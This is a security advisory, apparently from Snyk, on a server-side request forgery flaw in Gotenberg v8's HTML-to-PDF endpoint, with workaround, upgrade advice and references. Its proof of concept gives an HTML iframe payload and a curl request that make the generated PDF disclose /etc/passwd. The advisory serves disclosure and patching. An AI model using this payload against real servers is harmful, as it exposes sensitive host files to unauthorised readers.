SNYK-GOLANG-GITHUBCOMGOTENBERGGOTENBERGV8PKGGOTENBERG-7537081
## Overview Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the `/convert/html` endpoint when a request is made to a file via localhost, such as `<iframe src="\\localhost/etc/passwd">`. By exploiting this vulnerability, an attacker can achieve local file inclusion, allowing of sensitive files read on the host system. ## Workaround An alternative is using either or both `--chromium-deny-list` and `--chromium-allow-list` flags. ## PoC 1. Start Gotenberg: ``` docker run --rm -p 3000:3000 gotenberg/gotenberg:8.0.3 gotenberg ``` 2. Create an index.html file with the following contents: ``` <body> <iframe src="\\localhost/etc/passwd"> </body> ``` 3. Convert index.html to PDF: ``` curl -v \ --request POST 'http://localhost:3000/forms/chromium/convert/html' \ --form 'files=@"index.html"' -o output.pdf ``` 4. Open `output.pdf`, it will include the contents of `/etc/passwd`. ## Remediation Upgrade `github.com/gotenberg/gotenberg/v8/pkg/gotenberg` to version 8.1.0 or higher. ## References - [GitHub Commit](https://github.com/gotenberg/gotenberg/commit/ad152e62e5124b673099a9103eb6e7f933771794) - [GitHub Gist](https://gist.github.com/filipochnik/bc88a3d1cc17c07cec391ee98e1e6356) - [GitHub Release](https://github.com/gotenberg/gotenberg/releases/tag/v8.1.0)
Risk Scores
Affected Products
| Vendor | Product | Versions |
|---|---|---|
| 0 |
Timeline
- Feb 22, 2024 CVE Updated
- Jul 18, 2024 CVE Published
References
- https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGOTENBERGGOTENBERGV8PKGGOTENBERG-7537081 advisory
- https://learn.snyk.io/lesson/ssrf-server-side-request-forgery/ technical
- https://github.com/gotenberg/gotenberg/commit/ad152e62e5124b673099a9103eb6e7f933771794 patch
- https://gist.github.com/filipochnik/bc88a3d1cc17c07cec391ee98e1e6356 technical
- https://github.com/gotenberg/gotenberg/releases/tag/v8.1.0 vendor
- http://localhost:3000/forms/chromium/convert/html' technical